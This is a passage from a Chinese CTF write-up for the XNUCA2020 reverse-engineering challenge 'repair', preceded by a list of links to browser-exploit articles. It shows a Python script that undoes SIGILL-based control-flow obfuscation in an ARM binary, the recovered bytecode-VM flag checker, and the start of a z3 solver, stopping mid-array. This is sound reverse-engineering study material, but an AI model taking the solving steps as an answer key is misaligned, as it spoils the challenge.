<https://blog.quarkslab.com/exploiting-ms16-145-ms-edge-typedarraysort-use-after-free-cve-2016-7288.html>
Firefox:在Firefox中利用Cross-mmap溢出
<https://saelo.github.io/posts/firefox-script-loader-overflow.html>
Safari:Pwn2Own 2017: UAF in JSC::CachedCall (WebKit)
<https://phoenhex.re/2017-05-04/pwn2own17-cachedcall-uaf>
Chrome:Out-of-bounds read in V8 Array.concat
<https://bugs.chromium.org/p/chromium/issues/detail?id=682194>
利用DNS隧道进行C＆C通信
<https://securelist.com/blog/research/78203/use-of-dns-tunneling-for-cc-communications/>
libtiff发布更新修复OSS-Fuzz报送的11个bug
<http://www.simplesystems.org/libtiff/v4.0.8.html>
Windows Kernel Pool Spraying
<http://trackwatch.com/windows-kernel-pool-spraying/>
WebKit: UXSS via Editor::Command::execute
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1133> | 社区文章 |
# XNUCA2020-RE-repair
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
当初没做出来，官方也没放WP，最近有空整理一下这道题
## 题目分析
首先看一下程序逻辑
程序首先注册了SIGILL的信号处理函数。程序提供了一个qemu_arm，不知道做了什么特殊处理，官方的qemu是无法运行这段程序的，应该就是SIGILL这个地方有差异。
然后经过分析得知建立了一个二叉树头，并且把一个键值对表加入到了这个树里，最后要求输入44字符flag，起始固定为`flag{`，进入`sub_10A54`执行程序逻辑，由于需要repair，自然F5是没法儿好好解析了，其实还存在一段正确的输出。
进入逻辑函数，发现充满了`PUSH {R0-R5, R7}; UND
#1;`这样的东西，此时会进入到SIGILL的处理函数中进行跳转，因此本题的意义就是修复这段逻辑。
首先搜索一下这个桩的Hex，发现只有这里有。
随后分析SIGILL处理函数，首先根据信号发生的位置`sig_addr`减去常量获得偏移，随后以这个为key去树里查找要跳转的位置，如果没有查找到，就去查找另一个表，如果找到了某一项，则根据找到的idx，去两个表里取得一个值，取哪个表取决于R6，这里应该是一个判断的结构
最后一段其实是保证堆栈平衡和手动跳转，F5失败了
因此我们优化一下条件跳转表的结构，重新F5
## 解题思路
写脚本追随跳转还原代码，随后给IDA进行分析，请看注释
from keystone import *
from capstone import *
from enum import Enum
# 原程序提取出来的数据
jump_offsets = [3072, 2050, 4, 3414, 2056, 3756, 10, 2062, 16, 2068, 22, 2074, 28, 2080, 34, 1030, 2086, 40, 3420, 2092,
3762, 46, 2098, 52, 2104, 58, 2110, 64, 2116, 70, 1036, 2122, 76, 3426, 2128, 3768, 82, 2134, 88, 2140,
94, 2146, 100, 2152, 106, 3090, 2158, 112, 3432, 2164, 118, 124, 2176, 130, 2182, 136, 2188, 142, 3096,
2194, 148, 3438, 2200, 154, 2206, 160, 2212, 166, 2218, 172, 2224, 178, 3102, 2230, 184, 3444, 2236,
190, 2242, 196, 2248, 202, 208, 2260, 214, 1060, 2266, 220, 3450, 2272, 226, 2278, 232, 2284, 238, 2290,
244, 2296, 250, 1066, 2302, 256, 3456, 2308, 262, 2314, 268, 2320, 274, 2326, 280, 2332, 286, 3120,
2338, 292, 1414, 2344, 298, 2350, 304, 2356, 310, 2362, 316, 2368, 322, 1078, 2374, 328, 1420, 2380,
334, 2386, 340, 2392, 346, 2398, 352, 2404, 358, 3132, 2410, 364, 3474, 2416, 370, 2422, 376, 2428, 382,
2434, 388, 2440, 1090, 2446, 400, 3480, 2452, 406, 2458, 412, 2464, 418, 2470, 424, 2476, 430, 1096,
2482, 436, 1438, 2488, 442, 2494, 448, 2500, 454, 2506, 460, 2512, 466, 1102, 2518, 472, 1444, 2524,
478, 2530, 484, 2536, 490, 2542, 496, 2548, 502, 3156, 2554, 508, 3498, 2560, 514, 2566, 520, 2572, 526,
2578, 532, 2584, 538, 3162, 2590, 544, 1456, 2596, 550, 2602, 556, 2608, 562, 2614, 568, 2620, 574,
3168, 2626, 580, 1462, 2632, 586, 2638, 592, 2644, 598, 2650, 604, 2656, 610, 1126, 2662, 616, 3516,
2668, 622, 2674, 628, 2680, 634, 2686, 640, 2692, 646, 3180, 2698, 652, 3522, 2704, 2710, 664, 2716,
670, 2722, 676, 2728, 796, 682, 2734, 688, 3528, 2740, 694, 2746, 700, 2752, 706, 2758, 712, 2764, 2850,
718, 3192, 2770, 724, 1486, 2776, 730, 2782, 736, 2788, 742, 2794, 748, 2800, 2856, 754, 3198, 2806,
760, 1492, 2812, 766, 2818, 772, 2824, 778, 2830, 784, 2862, 790, 3204, 2844, 1498, 802, 808, 814, 820,
2868, 2874, 1162, 832, 1504, 838, 2892, 850, 856, 826, 862, 3216, 868, 3558, 874, 880, 2934, 2940, 2880,
2946, 1174, 2952, 3564, 910, 916, 2970, 928, 2886, 934, 1180, 2988, 1522, 2994, 3000, 3006, 3012, 844,
970, 1186, 976, 1528, 982, 3036, 3042, 3048, 2898, 3054, 3240, 1012, 3582, 1018, 1024, 3078, 3084, 2904,
1042, 3246, 1048, 3588, 1054, 3108, 3114, 1072, 2910, 3126, 3252, 1084, 3594, 3138, 3144, 3150, 1108,
2916, 1114, 1210, 1120, 3600, 3174, 1132, 3186, 1144, 2922, 1150, 1216, 1156, 1558, 3210, 1168, 3222,
3228, 2928, 3234, 1222, 1192, 1198, 1204, 3258, 3264, 886, 3270, 1228, 3276, 1570, 1234, 3288, 1246,
1252, 892, 1258, 3282, 3312, 1576, 1270, 3324, 3330, 1288, 898, 3342, 1240, 1300, 3630, 3354, 3360,
3366, 3372, 904, 1330, 3294, 1336, 3636, 3390, 3396, 3402, 1360, 2958, 1366, 3300, 1372, 3642, 1378,
1384, 1390, 1396, 2964, 1402, 3306, 1408, 3648, 3462, 3468, 1426, 1432, 922, 3486, 1264, 3492, 1606,
1450, 3504, 3510, 1468, 2976, 1474, 3318, 1480, 3660, 3534, 3540, 3546, 3552, 2982, 1510, 1276, 1516,
3666, 3570, 3576, 1534, 1540, 940, 1546, 1282, 1552, 3672, 3606, 1564, 3618, 3624, 946, 1582, 3336,
1588, 1630, 1594, 1600, 3654, 1612, 952, 1618, 1294, 1624, 1636, 3678, 3684, 3690, 1648, 958, 3702,
3348, 1660, 3714, 1672, 1678, 1684, 964, 3738, 1306, 3744, 3696, 3750, 1708, 1714, 1720, 3018, 1726,
1312, 1732, 1654, 1738, 1744, 1750, 1756, 3024, 1762, 1318, 1768, 3708, 1774, 1780, 1786, 1792, 3030,
1798, 1324, 1804, 1666, 1810, 1816, 1822, 1828, 988, 1834, 3378, 1840, 3720, 1846, 1852, 1858, 1864,
994, 1870, 3384, 1876, 3726, 1882, 1888, 1894, 1900, 1000, 1906, 1912, 3732, 1918, 1924, 1930, 1936,
1006, 1942, 1948, 1690, 1954, 1960, 1966, 1972, 3060, 1978, 1354, 1984, 1696, 1990, 1996, 2002, 2008,
3066, 2014, 3408, 2020, 1702, 2026, 2032, 2038, 2044]
jump_targets = [-1380, 1426, 3520, -1062, -1534, -436, 1130, 650, 662, -442, 2636, -520, 3220, -1522, 626, 1646, -562,
1442, -2172, 1246, -1740, 806, 982, 2492, 620, 1766, -22, 554, -1582, -16, 686, -1276, 1058, -1950, 140,
-2334, 1130, -1042, 1628, -196, 260, 86, 686, 530, 2468, -1854, -22, 80, -1680, -520, 8, 2312, -2086,
-58, -1894, 2024, -1378, 2222, -1044, -1390, 1808, -1224, 1342, 2800, 958, 2234, -292, 1250, -412, 2498,
1384, 890, 608, -1546, 3280, -400, -982, 854, 1144, 1616, 640, 1412, 398, 706, 3292, 2686, -1636, 2540,
-1800, -202, 2354, 1276, 3424, -796, 14, -1690, 1478, -1876, 458, 374, 1072, 2234, -1068, -520, 1688,
796, 488, -58, 3208, -1468, 2752, -2014, 1688, -432, -1504, 1250, -904, -1888, 824, -1972, -244, -838,
3268, 478, 1580, 398, 1106, 2254, -1642, 1418, 2116, -1834, 578, 490, 2354, 520, 3292, -898, 836, 862,
1604, -960, -688, 2222, 230, -2074, 3226, 224, 3094, 502, 1346, 266, -106, -1414, 2002, -994, -298,
-2022, -946, 602, -1378, 38, -682, 146, -1198, 950, -1522, 2168, -790, -2236, 2416, 1762, -1042, 2884,
-838, 2330, -1576, 2174, -322, 1568, -652, -400, 1756, -808, 1202, 428, -1132, 3124, -214, 1496, -700,
2752, 272, 410, -1858, 1376, -726, -832, 1292, 14, 928, 2638, 230, 974, -2092, -94, -478, 296, -898,
2446, -936, -1864, 632, 1316, 1196, 2518, -1540, 2878, -2032, 2078, -1600, 1418, 1030, 1556, -1788,
-964, 68, 572, -568, 1796, -1408, 668, -1540, 1334, -1054, 1508, -1954, 2464, 1876, -2362, 1868, -2358,
-1132, 14, 158, 2308, -58, 3130, 934, 2950, 856, 1172, 380, -832, 1646, -1818, -196, -694, 2866, -2494,
2230, 562, -22, 934, 1772, 2036, -808, -16, -2778, -2350, 248, -508, 3052, -1582, 2812, 700, 2158, 232,
-1008, 1784, -1878, -1504, 74, 1702, -1138, 1118, -1654, 446, -418, 1364, -2446, -664, -1402, -2316,
1148, -3186, -1228, 1892, -1120, -736, 14, -1852, 2680, -814, 2716, -676, -316, 542, -124, -2652, -960,
-1342, 968, 1238, 2224, -460, 488, -66, 128, 776, -1180, 2110, 314, 782, 74, 1922, 2188, -2166, 1646,
-1956, -382, 1496, -1632, 182, -1920, 284, 1100, -1218, -1560, -496, -412, -570, 1814, -948, -310, 38,
-630, -490, 350, -2850, -2910, 290, 1070, 1286, 1720, 2296, -382, 302, -1470, -2964, -2076, -2682,
-1224, -2238, -982, -1404, 2242, -496, -2958, -2220, -2520, -544, -2148, -112, -460, 146, -1914, -2982,
1124, -2514, 566, -840, -940, -1188, -2238, 284, -3012, 1316, 398, 740, -136, 1936, -984, -420, 1502,
-2304, 164, -192, -1126, 1088, 206, 1462, -1884, 1930, -340, -2658, -324, 506, 1118, -862, 1280, -286,
-2220, -118, -118, -2046, 194, 440, 2152, 122, -3060, 224, -274, 848, 2422, -2508, -1728, -172, -868,
-534, -1536, 602, 254, -352, 2050, 1028, -3018, -912, -2244, -2346, -1380, 872, 920, -76, 782, -244,
-2670, -3030, -1080, 1894, -432, 692, -1980, -1102, -3402, 812, 1984, 182, -154, -654, -688, -3144,
2014, -2658, -1242, 218, 1936, -1006, 2002, -106, 2014, -2382, 1408, 1858, -942, -3066, -1156, -1212,
86, -358, 1462, -634, -1248, 188, -1014, -2658, -390, 1498, 2308, -1078, -1200, -1122, -1230, -1426,
-952, 1796, 1348, 1582, 2206, -1392, -3408, 578, -478, -3360, -76, -1534, -250, -1552, 1034, -1480, 308,
-418, 1190, 386, 2, 1930, 134, 1978, -106, -1074, -1596, -316, 2668, -2316, -1014, 2008, -2202, -1378,
44, 38, 380, -2976, 362, -2466, -2400, -2028, 1732, -1378, -556, -46, -1726, 1238, 974, -1378, 818,
-1726, 1432, -1750, -106, 758, 1798, 1294, -2502, -898, 1046, -1270, -1534, -2622, -1324, -376, -1600,
1154, -1168, 656, -100, -1036, 2116, 1864, 356, -1000, -1266, 1720, 1546, 140, 428, -826, -322, -1182,
1570, -226, 1792, -538, -364, -490, -16, 260, 872, -538, 50, 1868, -844, 602, -772, -1054, -484, 8,
-1360, -1144, -1780, 1240, 116, -1240, 2062, -1498, -16, -1816, 500, 1132, -640, -942, 134, -3228, -964,
380, 820, 428, -1828, 1252]
cond_offsets = [658, 1342, 1348, 2170, 2838, 394, 1642, 3612, 1138, 2254]
cond_targets = [[-196, -76], [1076, 2302], [2284, 692], [-1348, -580], [-630, -1116], [3016, 2584], [-1600, 1528],
[-2916, -1368], [-142, 2212], [-1510, 904]]
# 读原始程序
repair = open(r"E:\Ctf\XNUCA2020\repair\repair\repair", 'rb')
repair_bytes = repair.read()
repair.close()
# 寻找桩
stub = bytes([0xbf, 0xb4, 0x01, 0xde])
stub_pos = 0
stubs = []
while True:
stub_pos = repair_bytes.find(stub, stub_pos)
if stub_pos == -1:
break
stubs.append(stub_pos)
stub_pos += len(stub)
# 把所有桩之间的代码存起来
codes = {0xA64: repair_bytes[0xA64: 0xA66]}
for i in range(len(stubs) - 1):
code_start = stubs[i] + 4
code_len = stubs[i + 1] - code_start
codes[code_start] = repair_bytes[code_start: code_start + code_len]
# 指令类型
class inst_type(Enum):
UNK = 0
INS = 1, # 原指令
COND = 2, # 条件跳转
B = 3 # 跳转
# 自定义指令
class instruction(object):
def __init__(self):
self.address = None
self.code = None
self.type = inst_type.UNK
self.tag = False
# 在所有指令里寻找某地址
def ins_find(ins, pc):
for inst in ins:
if inst.type == inst_type.INS and inst.address == pc:
return inst
return None
# 提取程序流
def extract_procedures(pc, ins):
while True:
if pc in stubs:
# 如果是桩
sig_addr = pc + 2
sig_offset = sig_addr - 0xA64
if sig_offset in jump_offsets:
# 指向下一步
pc = jump_targets[jump_offsets.index(sig_offset)] + sig_addr
elif sig_offset in cond_offsets:
# 条件跳转
inst = instruction()
inst.type = inst_type.COND
inst.address = []
ins.append(inst)
for k in range(2):
pc_next = cond_targets[cond_offsets.index(sig_offset)][k] + sig_addr
inst.address.append(pc_next)
# 递归进行
extract_procedures(pc_next, ins)
break
else:
exit(-1)
elif pc in codes.keys():
# 不是桩
sig_code = codes[pc]
ins_f = ins_find(ins, pc)
if ins_f is None:
# 没走过存入列表
inst = instruction()
inst.type = inst_type.INS
inst.address = pc
inst.code = sig_code
ins.append(inst)
else:
# 走过的路径直接跳转过去
inst = instruction()
inst.type = inst_type.B
inst.address = pc
ins.append(inst)
break
pc += len(sig_code)
else:
# 程序流结束
inst = instruction()
inst.type = inst_type.B
inst.address = pc
ins.append(inst)
break
# 汇编中被跳转的地址需要有个Label
def fix_tag(ins):
for inst in ins:
if inst.type == inst_type.COND:
for a in inst.address:
ins_f = ins_find(ins, a)
ins_f.tag = True
elif inst.type == inst_type.B:
ins_f = ins_find(ins, inst.address)
if inst.address != 6452:
ins_f.tag = True
instructions = []
pc_init = 0xA64
extract_procedures(pc_init, instructions)
fix_tag(instructions)
ks = Ks(KS_ARCH_ARM, KS_MODE_THUMB)
cs = Cs(CS_ARCH_ARM, CS_MODE_THUMB)
asm = ''
# 原函数开始
for i in cs.disasm(repair_bytes[0xA54:0xA66], 0x10A54):
asm += "\t%s\t%s\r\n" % (i.mnemonic, i.op_str)
# 按提取的指令还原程序流
for p in instructions:
if p.tag:
# 被跳转目标的Label
asm += "pos_%d:\r\n" % p.address
if p.type == inst_type.INS:
# 原代码直接复制
for i in cs.disasm(p.code, p.address + 0x10000):
asm += "\t%s\t%s\r\n" % (i.mnemonic, i.op_str)
elif p.type == inst_type.B:
# 跳转
asm += "\tb pos_%d\r\n" % p.address
elif p.type == inst_type.COND:
# 条件跳转
asm += "\tcmp r6, #0\r\n"
asm += "\tbeq pos_%d\r\n" % p.address[0]
asm += "\tb pos_%d\r\n" % p.address[1]
# 程序判断输入正确的跳转
asm += "pos_6452:\r\n"
for i in cs.disasm(repair_bytes[0x1934:0x193C], 0x11934):
asm += "\t%s\t%s\r\n" % (i.mnemonic, i.op_str)
assembly, _ = ks.asm(asm, 0x10A54)
# 输出
repair_bytes = list(repair_bytes)
repair_bytes[0xA54: 0xA54 + len(assembly)] = assembly
fp = open(r"E:\Ctf\XNUCA2020\repair\repair\repaired", 'wb')
fp.write(bytes(repair_bytes))
fp.close()
## 还原后分析
还原后代码如下
int __fastcall sub_10A54(unsigned __int8 *a1, unsigned __int8 *a2, int *a3)
{
int v5; // [sp+14h] [bp+14h]
v5 = 0;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( !a2[v5] )
{
a3[a2[v5 + 1]] = (16975111 * (a2[v5 + 1] + 127)) ^ a1[(16975111 * (a2[v5 + 2] + 127)) ^ a3[a2[v5 + 2]]];
v5 += 3;
}
if ( a2[v5] != 1 )
break;
a3[a2[v5 + 1]] = (16975111 * (a2[v5 + 1] + 127)) ^ ((a3[a2[v5 + 3]] ^ (16975111 * (a2[v5 + 3] + 127)))
+ ((16975111 * (a2[v5 + 2] + 127)) ^ a3[a2[v5 + 2]]));
v5 += 4;
}
if ( a2[v5] != 2 )
break;
a3[a2[v5 + 1]] = (16975111 * (a2[v5 + 1] + 127)) ^ ((a3[a2[v5 + 3]] ^ (16975111 * (a2[v5 + 3] + 127)))
- ((16975111 * (a2[v5 + 2] + 127)) ^ a3[a2[v5 + 2]]));
v5 += 4;
}
if ( a2[v5] != 3 )
break;
a3[a2[v5 + 1]] = (16975111 * (a2[v5 + 1] + 127)) ^ ((a3[a2[v5 + 3]] ^ (16975111 * (a2[v5 + 3] + 127)))
* ((16975111 * (a2[v5 + 2] + 127)) ^ a3[a2[v5 + 2]]));
v5 += 4;
}
if ( a2[v5] != 4 )
break;
a3[a2[v5 + 1]] = (16975111 * (a2[v5 + 1] + 127)) ^ a3[a2[v5 + 3]] ^ (0x1030507 * (a2[v5 + 3] + 127)) ^ (16975111 * (a2[v5 + 2] + 127)) ^ a3[a2[v5 + 2]];
v5 += 4;
}
if ( a2[v5] != 5 )
break;
a3[a2[v5 + 1]] = (16975111 * (a2[v5 + 1] + 127)) ^ (a3[a2[v5 + 3]] ^ (0x1030507 * (a2[v5 + 3] + 127))) & ((0x1030507 * (a2[v5 + 2] + 127)) ^ a3[a2[v5 + 2]]);
v5 += 4;
}
if ( a2[v5] != 6 )
break;
a3[a2[v5 + 1]] = (16975111 * (a2[v5 + 1] + 127)) ^ *(_DWORD *)&a2[v5 + 2];
v5 += 6;
}
if ( a2[v5] != 7 )
break;
if ( a3[a2[v5 + 1]] != 16975111 * (a2[v5 + 1] + 127) )
return 0;
v5 += 2;
}
}
while ( a2[v5] != 8 );
return 1;
}
分析可知程序这个函数验证了输入的40个字节，每8个字节验证一次一共验证5次
把校验函数代码翻译成python，尝试使用z3一把梭
from z3 import *
from pwn import *
op_code = bytes([6, 0, 0, 0, 0, 0, 6, 1, 0, 0, 0, 0, 6, 2, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 1, 0, 6, 0, 52, 63, 93, 10,
4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 1, 0, 0, 0, 0, 1, 0, 6, 0, 120, 211, 169, 103, 4, 0, 0, 1, 2, 2, 0, 2, 6,
0, 2, 0, 0, 0, 0, 1, 0, 6, 0, 175, 47, 169, 91, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 3, 0, 0, 0, 0, 1, 0, 6,
0, 115, 150, 38, 72, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 4, 0, 0, 0, 0, 1, 0, 6, 0, 60, 126, 77, 158, 3, 0,
0, 1, 1, 2, 0, 2, 6, 0, 5, 0, 0, 0, 0, 1, 0, 6, 0, 217, 228, 101, 79, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 6,
0, 0, 0, 0, 1, 0, 6, 0, 28, 84, 26, 230, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 7, 0, 0, 0, 0, 1, 0, 6, 0, 30,
3, 80, 143, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 164, 230, 153, 151, 2, 2, 0, 2, 7, 2, 6, 0, 0, 0, 0, 0, 6, 1,
0, 0, 0, 0, 6, 2, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 1, 0, 6, 0, 162, 242, 37, 111, 3, 0, 0, 1, 2, 2, 0,
2, 6, 0, 1, 0, 0, 0, 0, 1, 0, 6, 0, 193, 147, 115, 247, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 2, 0, 0, 0, 0, 1,
0, 6, 0, 158, 3, 133, 221, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 3, 0, 0, 0, 0, 1, 0, 6, 0, 186, 93, 22, 206,
4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 4, 0, 0, 0, 0, 1, 0, 6, 0, 236, 160, 62, 184, 3, 0, 0, 1, 1, 2, 0, 2, 6,
0, 5, 0, 0, 0, 0, 1, 0, 6, 0, 157, 89, 165, 156, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 6, 0, 0, 0, 0, 1, 0, 6,
0, 106, 1, 113, 62, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 7, 0, 0, 0, 0, 1, 0, 6, 0, 204, 213, 233, 48, 4, 0,
0, 1, 1, 2, 0, 2, 6, 0, 199, 16, 237, 137, 2, 2, 0, 2, 7, 2, 6, 0, 0, 0, 0, 0, 6, 1, 0, 0, 0, 0, 6, 2,
0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 1, 0, 6, 0, 108, 21, 168, 205, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 1, 0, 0,
0, 0, 1, 0, 6, 0, 195, 253, 89, 23, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 2, 0, 0, 0, 0, 1, 0, 6, 0, 96, 200,
5, 224, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 3, 0, 0, 0, 0, 1, 0, 6, 0, 235, 173, 43, 77, 4, 0, 0, 1, 1, 2, 0,
2, 6, 0, 4, 0, 0, 0, 0, 1, 0, 6, 0, 106, 38, 37, 140, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 5, 0, 0, 0, 0, 1,
0, 6, 0, 114, 47, 190, 246, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 6, 0, 0, 0, 0, 1, 0, 6, 0, 109, 67, 117, 23,
4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 7, 0, 0, 0, 0, 1, 0, 6, 0, 114, 237, 93, 147, 4, 0, 0, 1, 2, 2, 0, 2, 6,
0, 150, 148, 12, 129, 2, 2, 0, 2, 7, 2, 6, 0, 0, 0, 0, 0, 6, 1, 0, 0, 0, 0, 6, 2, 0, 0, 0, 0, 6, 0, 0,
0, 0, 0, 0, 1, 0, 6, 0, 84, 21, 18, 47, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 1, 0, 0, 0, 0, 1, 0, 6, 0, 92,
241, 112, 8, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 2, 0, 0, 0, 0, 1, 0, 6, 0, 61, 162, 175, 17, 4, 0, 0, 1, 2,
2, 0, 2, 6, 0, 3, 0, 0, 0, 0, 1, 0, 6, 0, 235, 21, 116, 224, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 4, 0, 0, 0,
0, 1, 0, 6, 0, 40, 137, 171, 215, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 5, 0, 0, 0, 0, 1, 0, 6, 0, 253, 101,
126, 214, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 6, 0, 0, 0, 0, 1, 0, 6, 0, 147, 249, 119, 217, 4, 0, 0, 1, 1,
2, 0, 2, 6, 0, 7, 0, 0, 0, 0, 1, 0, 6, 0, 114, 244, 102, 148, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 94, 45, 27,
95, 2, 2, 0, 2, 7, 2, 6, 0, 0, 0, 0, 0, 6, 1, 0, 0, 0, 0, 6, 2, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 1, 0,
6, 0, 197, 185, 30, 126, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 1, 0, 0, 0, 0, 1, 0, 6, 0, 245, 3, 7, 83, 4, 0,
0, 1, 1, 2, 0, 2, 6, 0, 2, 0, 0, 0, 0, 1, 0, 6, 0, 12, 151, 74, 150, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 3,
0, 0, 0, 0, 1, 0, 6, 0, 45, 165, 55, 62, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 4, 0, 0, 0, 0, 1, 0, 6, 0, 82,
147, 252, 29, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 5, 0, 0, 0, 0, 1, 0, 6, 0, 56, 218, 105, 203, 3, 0, 0, 1,
2, 2, 0, 2, 6, 0, 6, 0, 0, 0, 0, 1, 0, 6, 0, 24, 254, 22, 109, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 7, 0, 0,
0, 0, 1, 0, 6, 0, 99, 132, 122, 200, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 5, 235, 248, 214, 2, 2, 0, 2, 7, 2,
6, 0, 0, 0, 0, 0, 6, 1, 0, 0, 0, 0, 6, 2, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 1, 0, 6, 0, 177, 133, 148,
11, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 1, 0, 0, 0, 0, 1, 0, 6, 0, 50, 155, 219, 31, 3, 0, 0, 1, 1, 2, 0, 2,
6, 0, 2, 0, 0, 0, 0, 1, 0, 6, 0, 213, 92, 38, 100, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 3, 0, 0, 0, 0, 1, 0,
6, 0, 21, 228, 118, 213, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 4, 0, 0, 0, 0, 1, 0, 6, 0, 68, 98, 2, 155, 3, 0,
0, 1, 1, 2, 0, 2, 6, 0, 5, 0, 0, 0, 0, 1, 0, 6, 0, 65, 53, 6, 246, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 6, 0,
0, 0, 0, 1, 0, 6, 0, 137, 30, 175, 122, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 7, 0, 0, 0, 0, 1, 0, 6, 0, 248,
69, 221, 239, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 94, 144, 41, 46, 2, 2, 0, 2, 7, 2, 6, 0, 0, 0, 0, 0, 6, 1,
0, 0, 0, 0, 6, 2, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 1, 0, 6, 0, 218, 179, 223, 158, 3, 0, 0, 1, 2, 2, 0,
2, 6, 0, 1, 0, 0, 0, 0, 1, 0, 6, 0, 73, 221, 235, 17, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 2, 0, 0, 0, 0, 1,
0, 6, 0, 152, 252, 156, 165, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 3, 0, 0, 0, 0, 1, 0, 6, 0, 233, 65, 162,
111, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 4, 0, 0, 0, 0, 1, 0, 6, 0, 110, 98, 238, 128, 3, 0, 0, 1, 1, 2, 0,
2, 6, 0, 5, 0, 0, 0, 0, 1, 0, 6, 0, 110, 76, 179, 152, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 6, 0, 0, 0, 0, 1,
0, 6, 0, 46, 11, 9, 51, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 7, 0, 0, 0, 0, 1, 0, 6, 0, 55, 187, 134, 231, 4,
0, 0, 1, 2, 2, 0, 2, 6, 0, 26, 54, 157, 215, 2, 2, 0, 2, 7, 2, 6, 0, 0, 0, 0, 0, 6, 1, 0, 0, 0, 0, 6,
2, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 1, 0, 6, 0, 125, 86, 156, 178, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 1, 0,
0, 0, 0, 1, 0, 6, 0, 178, 234, 228, 201, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 2, 0, 0, 0, 0, 1, 0, 6, 0, 113,
219, 161, 87, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 3, 0, 0, 0, 0, 1, 0, 6, 0, 5, 98, 199, 152, 4, 0, 0, 1, 1,
2, 0, 2, 6, 0, 4, 0, 0, 0, 0, 1, 0, 6, 0, 76, 98, 97, 3, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 5, 0, 0, 0, 0,
1, 0, 6, 0, 110, 227, 108, 230, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 6, 0, 0, 0, 0, 1, 0, 6, 0, 220, 30, 126,
99, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 7, 0, 0, 0, 0, 1, 0, 6, 0, 247, 142, 131, 143, 4, 0, 0, 1, 1, 2, 0,
2, 6, 0, 10, 65, 126, 146, 2, 2, 0, 2, 7, 2, 6, 0, 0, 0, 0, 0, 6, 1, 0, 0, 0, 0, 6, 2, 0, 0, 0, 0, 6,
0, 8, 0, 0, 0, 0, 1, 0, 6, 0, 155, 225, 215, 189, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 9, 0, 0, 0, 0, 1, 0, 6,
0, 26, 57, 48, 189, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 10, 0, 0, 0, 0, 1, 0, 6, 0, 164, 199, 132, 34, 3, 0,
0, 1, 2, 2, 0, 2, 6, 0, 11, 0, 0, 0, 0, 1, 0, 6, 0, 91, 132, 43, 90, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 12,
0, 0, 0, 0, 1, 0, 6, 0, 45, 128, 28, 151, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 13, 0, 0, 0, 0, 1, 0, 6, 0,
247, 40, 85, 99, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 14, 0, 0, 0, 0, 1, 0, 6, 0, 47, 244, 99, 0, 4, 0, 0, 1,
1, 2, 0, 2, 6, 0, 15, 0, 0, 0, 0, 1, 0, 6, 0, 4, 13, 251, 40, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 142, 177,
221, 152, 2, 2, 0, 2, 7, 2, 6, 0, 0, 0, 0, 0, 6, 1, 0, 0, 0, 0, 6, 2, 0, 0, 0, 0, 6, 0, 8, 0, 0, 0, 0,
1, 0, 6, 0, 111, 171, 44, 163, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 9, 0, 0, 0, 0, 1, 0, 6, 0, 247, 142, 217,
